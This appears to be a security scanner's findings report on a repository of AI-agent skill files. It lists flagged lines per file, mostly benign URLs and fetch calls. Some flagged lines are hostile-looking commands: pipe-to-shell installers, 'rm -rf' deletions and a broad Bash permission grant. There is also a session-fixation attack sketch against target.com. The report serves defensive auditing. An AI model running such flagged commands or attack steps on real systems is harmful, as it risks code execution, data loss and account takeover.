- [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Comprehensive style guide covering quoting, arrays, and when to use shell - Network accessline 297
- [Bash Pitfalls](https://mywiki.wooledge.org/BashPitfalls) - Catalog of common Bash mistakes and how to avoid them - Network accessline 298
- [Bash Hackers Wiki](https://wiki.bash-hackers.org/) - Comprehensive Bash documentation and advanced techniques - Network accessline 299
- [Defensive BASH Programming](https://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming/) - Modern defensive programming patterns - Network accessline 301
### Tools & Frameworks - [ShellCheck](https://github.com/koalaman/shellcheck) - Static analysis tool and extensive wiki documentation - Network accessline 302
- [ShellCheck](https://github.com/koalaman/shellcheck) - Static analysis tool and extensive wiki documentation - Network accessline 303
- [shfmt](https://github.com/mvdan/sh) - Shell script formatter with detailed flag documentation - Network accessline 304
- [bats-core](https://github.com/bats-core/bats-core) - Maintained Bash testing framework - Network accessline 305
- [shellspec](https://github.com/shellspec/shellspec) - BDD-style testing framework for shell scripts - Network accessline 306
- [bashly](https://bashly.dannyb.co/) - Modern Bash CLI framework generator - Network accessline 307
- [shdoc](https://github.com/reconquest/shdoc) - Documentation generator for shell scripts - Network accessline 309
### Security & Advanced Topics - [Bash Security Best Practices](https://github.com/carlospolop/PEASS-ng) - Security-focused shell script patterns - Network accessline 310
- [Bash Security Best Practices](https://github.com/carlospolop/PEASS-ng) - Security-focused shell script patterns - Network accessline 311
- [Awesome Bash](https://github.com/awesome-lists/awesome-bash) - Curated list of Bash resources and tools - Network accessline 312
- [Pure Bash Bible](https://github.com/dylanaraps/pure-bash-bible) - Collection of pure bash alternatives to external commands
skills/bats-testing-patterns/resources/implementation-playbook.md
- Network accessline 22
# Ubuntu/Debian git clone https://github.com/bats-core/bats-core.git - Network accessline 23
git clone https://github.com/bats-core/bats-core.git - Dangerous shell operationline 69
rm -rf "$TMPDIR" - Dangerous shell operationline 206
rm -rf "$TEST_DIR" - Dangerous shell operationline 236
rm -rf "$TMPDIR/data" - Dangerous shell operationline 262
rm -rf "$SHARED_RESOURCE" - Network accessline 321
@test "Function works with stubbed curl" { create_stub curl "{ \"status\": \"ok\" }" 0 - Network accessline 322
create_stub curl "{ \"status\": \"ok\" }" 0 - Dangerous shell operationline 364
rm -rf "$WORK_DIR" - Dangerous shell operationline 542
rm -rf "$TEST_DIR" - Network accessline 611
- **Bats GitHub**: https://github.com/bats-core/bats-core - Network accessline 612
- **Bats Documentation**: https://bats-core.readthedocs.io/ - Network accessline 613
- **TAP Protocol**: https://testanything.org/ - Network accessline 614
- **Test-Driven Development**: https://en.wikipedia.org/wiki/Test-driven_development
skills/bazel-build-optimization/SKILL.md
- Network accessline 77
sha256 = "...", strip_prefix = "rules_js-1.34.0", url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz", - Network accessline 78
strip_prefix = "rules_js-1.34.0", url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz", ) - Network accessline 79
url = "https://github.com/aspect-build/rules_js/releases/download/v1.34.0/rules_js-v1.34.0.tar.gz", - Network accessline 104
sha256 = "...", strip_prefix = "rules_python-0.27.0", url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz", - Network accessline 105
strip_prefix = "rules_python-0.27.0", url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz", ) - Network accessline 106
url = "https://github.com/bazelbuild/rules_python/releases/download/0.27.0/rules_python-0.27.0.tar.gz", - Network accessline 147
build:ci --config=remote-cache build:ci --build_metadata=ROLE=CI build:ci --bes_results_url=https://results.example.com/invocation/ - Network accessline 148
build:ci --build_metadata=ROLE=CI build:ci --bes_results_url=https://results.example.com/invocation/ build:ci --bes_backend=grpcs://bes.example.com - Network accessline 149
build:ci --bes_results_url=https://results.example.com/invocation/ - Network accessline 397
- [Bazel Documentation](https://bazel.build/docs) - Network accessline 398
- [Bazel Remote Execution](https://bazel.build/docs/remote-execution) - Network accessline 399
- [rules_js](https://github.com/aspect-build/rules_js)
skills/beautiful-prose/SKILL.md
- Network accessline 2
name: beautiful-prose description: "Hard-edged writing style contract for timeless, forceful English prose without AI tics" source: "https://github.com/SHADOWPR0/beautiful_prose" - Network accessline 3
description: "Hard-edged writing style contract for timeless, forceful English prose without AI tics" source: "https://github.com/SHADOWPR0/beautiful_prose" risk: safe - Network accessline 4
source: "https://github.com/SHADOWPR0/beautiful_prose" - Network accessline 22
For more information, see the [source repository](https://github.com/SHADOWPR0/beautiful_prose).
skills/billing-automation/resources/implementation-playbook.md
- Network accessline 254
'customer_name': customer.name, 'amount_due': subscription.plan.amount, 'update_payment_url': f"https://app.example.com/billing" - Network accessline 255
'amount_due': subscription.plan.amount, 'update_payment_url': f"https://app.example.com/billing" }) - Network accessline 256
'update_payment_url': f"https://app.example.com/billing"
skills/bitbucket-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/blockrun/SKILL.md
- Broad permissionsline 1
Read, Bash(python:*), Bash(python3:*), Bash(pip:*), Bash(source:*)
skills/box-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works. - Network accessline 53
- Files over 50MB should use chunk upload APIs (not available via standard tools) - The `attributes` part of upload must come before the `file` part or you get HTTP 400 with `metadata_after_file_contents` - File IDs and folder IDs are numer - Network accessline 55
- File IDs and folder IDs are numeric strings extractable from Box web app URLs (e.g., `https://*.app.box.com/files/123` gives file_id `"123"`) - Network accessline 166
Box uses numeric string IDs for all entities: - **Root folder**: Always ID `"0"` - **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"` - Network accessline 167
- **Root folder**: Always ID `"0"` - **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"` - **Folder ID from URL**: `https://*.app.box.com/folder/123` gives folder_id `"123"` - Network accessline 168
- **File ID from URL**: `https://*.app.box.com/files/123` gives file_id `"123"` - Network accessline 169
- **Folder ID from URL**: `https://*.app.box.com/folder/123` gives folder_id `"123"`
skills/brand-guidelines-anthropic/LICENSE.txt
skills/brand-guidelines-community/LICENSE.txt
skills/brevo-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/broken-authentication/SKILL.md
- Network accessline 187
tokens = [] for i in range(100): response = requests.get("https://target.com/login") - Network accessline 188
[Credential-related source omitted] - Network accessline 189
response = requests.get("https://target.com/login") - Network accessline 222
1. Attacker visits site, gets session: SESSIONID=attacker_session 2. Attacker sends link to victim with fixed session: https://target.com/login?SESSIONID=attacker_session - Network accessline 223
2. Attacker sends link to victim with fixed session: https://target.com/login?SESSIONID=attacker_session 3. Victim logs in with attacker's session - Network accessline 224
https://target.com/login?SESSIONID=attacker_session - Network accessline 307
[Credential-related source omitted] - Network accessline 308
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 466
[Credential-related source omitted] - Network accessline 467
[Credential-related source omitted]
skills/browser-extension-builder/SKILL.md
skills/bun-development/SKILL.md
- Network accessline 10
> Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun). - Network accessline 29
# macOS / Linux curl -fsSL https://bun.sh/install | bash - Dangerous shell operationline 30
curl -fsSL https://bun.sh/install | bash - Network accessline 30
curl -fsSL https://bun.sh/install | bash - Network accessline 148
# From specific registry bun add lodash --registry https://registry.npmmirror.com - Network accessline 149
bun add lodash --registry https://registry.npmmirror.com - Network accessline 156
# From git bun add github:user/repo bun add git+https://github.com/user/repo.git - Network accessline 158
bun add git+https://github.com/user/repo.git - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 243
[Credential-related source omitted] - Network accessline 289
fetch(request) { - Network accessline 311
console.log(`Server running at http://localhost:${server.port}`); - Network accessline 320
fetch(req, server) { - Network accessline 587
# 1. Install Bun curl -fsSL https://bun.sh/install | bash - Dangerous shell operationline 588
curl -fsSL https://bun.sh/install | bash - Network accessline 588
curl -fsSL https://bun.sh/install | bash - Dangerous shell operationline 591
rm -rf node_modules package-lock.json - Network accessline 648
// Do: Bun.serve (native, 4-10x faster) Bun.serve({ fetch(req) { - Network accessline 649
Bun.serve({ fetch(req) { return new Response("Hello!"); - Network accessline 650
fetch(req) { - Network accessline 690
- [Bun Documentation](https://bun.sh/docs) - Network accessline 691
- [Bun GitHub](https://github.com/oven-sh/bun) - Network accessline 692
- [Elysia Framework](https://elysiajs.com/) - Network accessline 693
- [Bun Discord](https://bun.sh/discord)
skills/burp-suite-testing/SKILL.md
- Network accessline 366
### HTTPS Interception Failing - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Network accessline 367
- Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Add certificate to trusted roots - Network accessline 368
- Navigate to http://burp to download certificate
skills/busybox-on-windows/SKILL.md
- Network accessline 16
2. Print the OS versions: `Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object ProductName, DisplayVersion, CurrentBuild` 3. Download a suitable build of BusyBox by running one of these PowerShell commands: - Network accessline 17
3. Download a suitable build of BusyBox by running one of these PowerShell commands: - 32-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox.exe -OutFile busybox.e - Network accessline 18
- 32-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox.exe -OutFile busybox.exe` - Network accessline 19
- 64-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64.exe -OutFile busybox.exe` - Network accessline 20
- 64-bit x86 (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64u.exe -OutFile busybox.exe` - Network accessline 21
- 64-bit ARM (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64a.exe -OutFile busybox.exe` - Network accessline 31
Documentation: https://frippery.org/busybox/ - Network accessline 32
Original BusyBox: https://busybox.net/
skills/c4-architecture-c4-architecture/SKILL.md
- Network accessline 33
This workflow creates comprehensive C4 architecture documentation following the [official C4 model](https://c4model.com/diagrams) by: - Network accessline 40
**Note**: According to the [C4 model](https://c4model.com/diagrams), you don't need to use all 4 levels of diagram - the system context and container diagrams are sufficient for most software development teams. This workflow generates all l
skills/c4-code/SKILL.md
- Network accessline 205
**Note**: According to the [C4 model](https://c4model.com/diagrams), code diagrams are typically only created when needed for complex components. Most teams find system context and container diagrams sufficient. Choose the diagram type that
skills/c4-component/SKILL.md
- Network accessline 99
**Key Principles** (from [c4model.com](https://c4model.com/diagrams/component)):
skills/c4-container/SKILL.md
- Network accessline 106
**Key Principles** (from [c4model.com](https://c4model.com/diagrams/container)): - Network accessline 125
version: 1.0.0 servers: - url: https://api.example.com - Network accessline 126
servers: - url: https://api.example.com description: Production server - Network accessline 127
- url: https://api.example.com
skills/c4-context/SKILL.md
- Network accessline 97
According to the [C4 model](https://c4model.com/diagrams/system-context), a System Context diagram shows the system as a box in the center, surrounded by its users and the other systems that it interacts with. The focus is on **people (acto - Network accessline 117
**Key Principles** (from [c4model.com](https://c4model.com/diagrams/system-context)):
skills/cal-com-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/calendly-automation/SKILL.md
- Network accessline 23
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works. - Network accessline 42
**Key parameters**: - `user`: Full Calendly API URI (e.g., `https://api.calendly.com/users/{uuid}`) - NOT `"me"` - Network accessline 43
- `user`: Full Calendly API URI (e.g., `https://api.calendly.com/users/{uuid}`) - NOT `"me"` - Network accessline 92
**Key parameters**: - `owner`: Event type URI (e.g., `https://api.calendly.com/event_types/{uuid}`) - Network accessline 93
- `owner`: Event type URI (e.g., `https://api.calendly.com/event_types/{uuid}`) - Network accessline 102
- `CALENDLY_LIST_EVENT_TYPE_AVAILABLE_TIMES` requires UTC timestamps and max 7-day range; split longer searches - Available times results are NOT paginated - all results returned in one response - Event type URIs must be full API URIs (e.g. - Network accessline 104
- Event type URIs must be full API URIs (e.g., `https://api.calendly.com/event_types/...`) - Network accessline 151
### ID Resolution Calendly uses full API URIs as identifiers, not simple IDs: - **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`) - Network accessline 152
Calendly uses full API URIs as identifiers, not simple IDs: - **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`) - **Organization URI**: Found in current user response at - Network accessline 153
- **Current user URI**: `CALENDLY_GET_CURRENT_USER` returns `resource.uri` (e.g., `https://api.calendly.com/users/{uuid}`) - Network accessline 173
### URI Formats - All entity references use full Calendly API URIs (e.g., `https://api.calendly.com/users/{uuid}`) - Network accessline 174
- All entity references use full Calendly API URIs (e.g., `https://api.calendly.com/users/{uuid}`)
skills/canva-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/canvas-design/LICENSE.txt
skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt
skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt
- Network accessline 1
Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Boldonse-OFL.txt
- Network accessline 1
Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt
- Network accessline 1
Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt
- Network accessline 1
Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/DMMono-OFL.txt
- Network accessline 1
Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/EricaOne-OFL.txt
skills/canvas-design/canvas-fonts/GeistMono-OFL.txt
- Network accessline 1
Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Gloock-OFL.txt
- Network accessline 1
Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt
skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt
- Network accessline 1
Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Italiana-OFL.txt
skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt
- Network accessline 1
Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Jura-OFL.txt
- Network accessline 1
Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt
- Network accessline 1
Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Lora-OFL.txt
- Network accessline 1
Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/NationalPark-OFL.txt
- Network accessline 1
Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt
skills/canvas-design/canvas-fonts/Outfit-OFL.txt
- Network accessline 1
Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt
- Network accessline 1
Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt
skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt
- Network accessline 1
Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt
- Network accessline 1
Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt
- Network accessline 1
Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/Tektur-OFL.txt
- Network accessline 1
Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/WorkSans-OFL.txt
- Network accessline 1
Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt
- Network accessline 1
Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif) - Network accessline 3
This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org - Network accessline 5
https://openfontlicense.org
skills/cc-skill-backend-patterns/SKILL.md
- Access to secretsline 354
[Credential-related source omitted] - Network accessline 431
): Promise<boolean> { const now = Date.now() const requests = this.requests.get(identifier) || [] - Network accessline 433
const requests = this.requests.get(identifier) || [] - Network accessline 435
// Remove old requests outside window const recentRequests = requests.filter(time => now - time < windowMs) - Network accessline 436
const recentRequests = requests.filter(time => now - time < windowMs) - Network accessline 442
// Add current request recentRequests.push(now) this.requests.set(identifier, recentRequests) - Network accessline 444
this.requests.set(identifier, recentRequests)
skills/cc-skill-coding-standards/SKILL.md
- Network accessline 90
async function fetchData(url: string) { try { const response = await fetch(url) - Network accessline 92
const response = await fetch(url) - Network accessline 105
// ❌ BAD: No error handling async function fetchData(url) { const response = await fetch(url) - Network accessline 106
async function fetchData(url) { const response = await fetch(url) return response.json() - Network accessline 107
const response = await fetch(url)
skills/cc-skill-continuous-learning/evaluate-session.sh
- Executable scriptline 1
#!/bin/bash
skills/cc-skill-frontend-patterns/SKILL.md
- Network accessline 107
useEffect(() => { fetch(url) - Network accessline 108
fetch(url) - Network accessline 192
const { data: markets, loading, error, refetch } = useQuery( 'markets', () => fetch('/api/markets').then(r => r.json()), - Network accessline 193
'markets', () => fetch('/api/markets').then(r => r.json()), { - Network accessline 194
() => fetch('/api/markets').then(r => r.json()),
skills/cc-skill-project-guidelines-example/SKILL.md
- Network accessline 14
Based on a real production application: [Zenith](https://zenith.chat) - AI-powered customer discovery platform. - Network accessline 135
): Promise<ApiResponse<T>> { try { const response = await fetch(`/api${endpoint}`, { - Network accessline 136
try { const response = await fetch(`/api${endpoint}`, { ...options, - Network accessline 137
const response = await fetch(`/api${endpoint}`, { - Network accessline 250
@pytest.fixture async def client(): async with AsyncClient(app=app, base_url="http://test") as ac: - Network accessline 251
async def client(): async with AsyncClient(app=app, base_url="http://test") as ac: yield ac - Network accessline 252
async with AsyncClient(app=app, base_url="http://test") as ac: - Network accessline 322
# Frontend (.env.local) NEXT_PUBLIC_API_URL=https://api.example.com - Network accessline 323
NEXT_PUBLIC_API_URL=https://api.example.com - Network accessline 324
NEXT_PUBLIC_SUPABASE_URL=https://xxx.supabase.co - Network accessline 328
[Credential-related source omitted] - Network accessline 329
[Credential-related source omitted] - Access to secretsline 329
[Credential-related source omitted] - Network accessline 330
SUPABASE_URL=https://xxx.supabase.co
skills/cc-skill-security-review/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Network accessline 223
img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; - Network accessline 224
font-src 'self'; connect-src 'self' https://api.example.com; `.replace(/\s{2,}/g, ' ').trim() - Network accessline 225
connect-src 'self' https://api.example.com; - Network accessline 431
// Test authentication test('requires authentication', async () => { const response = await fetch('/api/protected') - Network accessline 432
test('requires authentication', async () => { const response = await fetch('/api/protected') expect(response.status).toBe(401) - Network accessline 433
const response = await fetch('/api/protected') - Network accessline 437
// Test authorization test('requires admin role', async () => { const response = await fetch('/api/admin', { - Network accessline 438
[Credential-related source omitted] - Network accessline 439
const response = await fetch('/api/admin', { - Network accessline 445
// Test input validation test('rejects invalid input', async () => { const response = await fetch('/api/users', { - Network accessline 446
test('rejects invalid input', async () => { const response = await fetch('/api/users', { method: 'POST', - Network accessline 447
const response = await fetch('/api/users', { - Network accessline 455
test('enforces rate limits', async () => { const requests = Array(101).fill(null).map(() => fetch('/api/endpoint') - Network accessline 456
const requests = Array(101).fill(null).map(() => fetch('/api/endpoint') ) - Network accessline 457
fetch('/api/endpoint') - Network accessline 491
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Network accessline 492
- [Next.js Security](https://nextjs.org/docs/security) - Network accessline 493
- [Supabase Security](https://supabase.com/docs/guides/auth) - Network accessline 494
- [Web Security Academy](https://portswigger.net/web-security)
skills/cc-skill-strategic-compact/suggest-compact.sh
- Executable scriptline 1
#!/bin/bash
skills/changelog-automation/resources/implementation-playbook.md
- Network accessline 14
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 15
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 43
[Unreleased]: https://github.com/user/repo/compare/v1.2.0...HEAD - Network accessline 44
[1.2.0]: https://github.com/user/repo/compare/v1.1.0...v1.2.0 - Network accessline 319
- {% if commit.scope %}**{{ commit.scope }}:** {% endif %}\ {{ commit.message | upper_first }}\ {% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.p - Network accessline 320
{{ commit.message | upper_first }}\ {% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.pr_number }})){% endif %}\ {% endfor %} - Network accessline 321
{% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.pr_number }})){% endif %}\ - Network accessline 328
{% if release.previous.version -%} [{{ release.version | trim_start_matches(pat="v") }}]: \ https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }} - Network accessline 329
[{{ release.version | trim_start_matches(pat="v") }}]: \ https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }} {% endif -%} - Network accessline 330
https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }} - Network accessline 331
{% endif -%} {% else -%} [unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD - Network accessline 332
{% else -%} [unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD {% endif -%} - Network accessline 333
[unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD - Network accessline 447
**Full Changelog**: https://github.com/owner/repo/compare/v{{ .Previous }}...v{{ .Current }} - Network accessline 534
- [Keep a Changelog](https://keepachangelog.com/) - Network accessline 535
- [Conventional Commits](https://www.conventionalcommits.org/) - Network accessline 536
- [Semantic Versioning](https://semver.org/) - Network accessline 537
- [semantic-release](https://semantic-release.gitbook.io/) - Network accessline 538
- [git-cliff](https://git-cliff.org/)
skills/cicd-automation-workflow-automate/resources/implementation-playbook.md
- Network accessline 377
# Get service URL echo "url=https://${{ matrix.environment }}.example.com" >> $GITHUB_OUTPUT - Network accessline 378
echo "url=https://${{ matrix.environment }}.example.com" >> $GITHUB_OUTPUT - Network accessline 399
- name: Run smoke tests run: | npm run test:smoke -- --url https://${{ matrix.environment }}.example.com - Network accessline 401
npm run test:smoke -- --url https://${{ matrix.environment }}.example.com - Network accessline 404
uses: cypress-io/github-action@v5 with: config: baseUrl=https://${{ matrix.environment }}.example.com - Network accessline 405
with: config: baseUrl=https://${{ matrix.environment }}.example.com record: true - Network accessline 406
config: baseUrl=https://${{ matrix.environment }}.example.com - Network accessline 412
run: | npm install -g @sitespeed.io/sitespeed.io sitespeed.io https://${{ matrix.environment }}.example.com \ - Network accessline 413
npm install -g @sitespeed.io/sitespeed.io sitespeed.io https://${{ matrix.environment }}.example.com \ --budget.configPath=.sitespeed.io/budget.json \ - Network accessline 414
sitespeed.io https://${{ matrix.environment }}.example.com \ - Network accessline 419
run: | npm install -g @zaproxy/action-baseline zaproxy/action-baseline -t https://${{ matrix.environment }}.example.com - Network accessline 421
zaproxy/action-baseline -t https://${{ matrix.environment }}.example.com - Network accessline 522
# .pre-commit-config.yaml repos: - repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 523
repos: - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 - Network accessline 524
- repo: https://github.com/pre-commit/pre-commit-hooks - Network accessline 536
- repo: https://github.com/psf/black - Network accessline 542
- repo: https://github.com/pycqa/isort - Network accessline 548
- repo: https://github.com/pycqa/flake8 - Network accessline 554
- repo: https://github.com/pre-commit/mirrors-eslint - Network accessline 565
- repo: https://github.com/pre-commit/mirrors-prettier - Network accessline 664
echo "1. Update .env.local with your configuration" echo "2. Run 'npm run dev' to start the development server" echo "3. Visit http://localhost:3000" - Network accessline 665
echo "2. Run 'npm run dev' to start the development server" echo "3. Visit http://localhost:3000" } - Network accessline 666
echo "3. Visit http://localhost:3000" - Network accessline 802
- name: Add Helm repositories run: | helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 803
run: | helm repo add prometheus-community https://prometheus-community.github.io/helm-charts helm repo add grafana https://grafana.github.io/helm-charts - Network accessline 804
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 805
helm repo add grafana https://grafana.github.io/helm-charts
skills/circleci-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/clarity-gate/SKILL.md
- Network accessline 2
